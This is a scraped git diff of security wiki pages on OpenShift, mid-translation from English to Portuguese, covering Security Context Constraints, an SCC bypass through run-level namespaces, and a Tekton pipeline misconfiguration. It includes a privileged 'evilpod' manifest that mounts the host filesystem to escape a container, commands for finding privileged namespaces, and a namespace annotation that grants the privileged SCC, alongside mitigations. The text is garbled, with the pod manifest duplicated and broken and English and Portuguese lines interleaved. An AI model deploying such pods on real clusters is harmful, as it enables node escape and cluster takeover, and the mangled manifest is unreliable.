Agora, todos os novos pods criados no namespace não devem ter nenhum SCC
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
Na ausência de SCC, não há restrições na definição do seu pod. Isso significa que um pod malicioso pode ser facilmente criado para escapar para o sistema host.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Agora, tornou-se mais fácil escalar privilégios para acessar o sistema host e, subsequentemente, assumir todo o cluster, ganhando privilégios de 'cluster-admin'. Procure pela parte **Node-Post Exploitation** na seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Rótulos personalizados
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Além disso, com base na configuração alvo, alguns rótulos / anotações personalizados podem ser usados da mesma forma que no cenário de ataque anterior. Mesmo que não seja feito para isso, rótulos podem ser usados para conceder permissões, restringir ou não um recurso específico.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Tente procurar por rótulos personalizados se você puder ler alguns recursos. Aqui está uma lista de recursos interessantes:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Liste todos os namespaces privilegiados
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
## Exploit avançado
|
||||
|
||||
## Advanced exploit
|
||||
No OpenShift, como demonstrado anteriormente, ter permissão para implantar um pod em um namespace com o rótulo `openshift.io/run-level` pode levar a uma tomada de controle direta do cluster. Do ponto de vista das configurações do cluster, essa funcionalidade **não pode ser desativada**, pois é inerente ao design do OpenShift.
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
No entanto, medidas de mitigação como **Open Policy Agent GateKeeper** podem impedir que os usuários definam esse rótulo.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Para contornar as regras do GateKeeper e definir esse rótulo para executar uma tomada de controle do cluster, **os atacantes precisariam identificar métodos alternativos.**
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,79 +1,71 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**O autor original desta página é** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### O que é tekton
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
De acordo com a documentação: _Tekton é uma estrutura poderosa e flexível de código aberto para criar sistemas de CI/CD, permitindo que os desenvolvedores construam, testem e implantem em provedores de nuvem e sistemas locais._ Tanto Jenkins quanto Tekton podem ser usados para testar, construir e implantar aplicações, no entanto, Tekton é Nativo da Nuvem. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Com Tekton, tudo é representado por arquivos YAML. Os desenvolvedores podem criar Recursos Personalizados (CR) do tipo `Pipelines` e especificar várias `Tasks` neles que desejam executar. Para executar um Pipeline, recursos do tipo `PipelineRun` devem ser criados.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Quando o tekton é instalado, uma conta de serviço (sa) chamada pipeline é criada em cada namespace. Quando um Pipeline é executado, um pod será gerado usando esta sa chamada `pipeline` para executar as tarefas definidas no arquivo YAML.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### As capacidades da conta de serviço do Pipeline
|
||||
|
||||
Por padrão, a conta de serviço do pipeline pode usar a capacidade `pipelines-scc`. Isso se deve à configuração padrão global do tekton. Na verdade, a configuração global do tekton também é um YAML em um objeto do openshift chamado `TektonConfig` que pode ser visto se você tiver alguns papéis de leitor no cluster.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
Em qualquer namespace, se você conseguir obter o token da conta de serviço do pipeline, poderá usar `pipelines-scc`.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### A Misconfiguração
|
||||
|
||||
O problema é que o scc padrão que a conta de serviço do pipeline pode usar é controlável pelo usuário. Isso pode ser feito usando um rótulo na definição do namespace. Por exemplo, se eu puder criar um namespace com a seguinte definição em yaml:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
O operador tekton dará à conta de serviço do pipeline em `test-namespace` a capacidade de usar o scc privilegiado. Isso permitirá a montagem do nó.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### A correção
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
Documentos do Tekton sobre como restringir a substituição do scc adicionando um rótulo no objeto `TektonConfig`.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Esse rótulo é chamado de `max-allowed` 
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**O autor original desta página é** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Definição
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
No contexto do OpenShift, SCC significa **Security Context Constraints**. Security Context Constraints são políticas que controlam permissões para pods em execução em clusters OpenShift. Elas definem os parâmetros de segurança sob os quais um pod pode ser executado, incluindo quais ações ele pode realizar e quais recursos pode acessar.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
SCCs ajudam os administradores a impor políticas de segurança em todo o cluster, garantindo que os pods estejam sendo executados com permissões apropriadas e aderindo aos padrões de segurança organizacionais. Essas restrições podem especificar vários aspectos da segurança do pod, como:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Capacidades do Linux: Limitando as capacidades disponíveis para contêineres, como a capacidade de realizar ações privilegiadas.
|
||||
2. Contexto SELinux: Aplicando contextos SELinux para contêineres, que definem como os processos interagem com os recursos do sistema.
|
||||
3. Sistema de arquivos raiz somente leitura: Impedindo que contêineres modifiquem arquivos em certos diretórios.
|
||||
4. Diretórios e volumes de host permitidos: Especificando quais diretórios e volumes de host um pod pode montar.
|
||||
5. Executar como UID/GID: Especificando os IDs de usuário e grupo sob os quais o processo do contêiner é executado.
|
||||
6. Políticas de rede: Controlando o acesso à rede para pods, como restringir o tráfego de saída.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
Ao configurar SCCs, os administradores podem garantir que os pods estejam sendo executados com o nível apropriado de isolamento de segurança e controles de acesso, reduzindo o risco de vulnerabilidades de segurança ou acesso não autorizado dentro do cluster.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
Basicamente, toda vez que um pedido de implantação de pod é solicitado, um processo de admissão é executado da seguinte forma:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Esta camada de segurança adicional, por padrão, proíbe a criação de pods privilegiados, a montagem do sistema de arquivos do host ou a definição de quaisquer atributos que possam levar à escalada de privilégios.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Lista SCC
|
||||
|
||||
Para listar todos os SCC com o Openshift Client:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,35 +37,26 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Todos os usuários têm acesso ao SCC padrão "**restricted**" e "**restricted-v2**", que são os SCCs mais rigorosos.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Usar SCC
|
||||
|
||||
O SCC usado para um pod é definido dentro de uma anotação:
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Quando um usuário tem acesso a múltiplos SCCs, o sistema utilizará aquele que se alinha com os valores do contexto de segurança. Caso contrário, um erro de acesso proibido será acionado.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
## Bypass de SCC
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user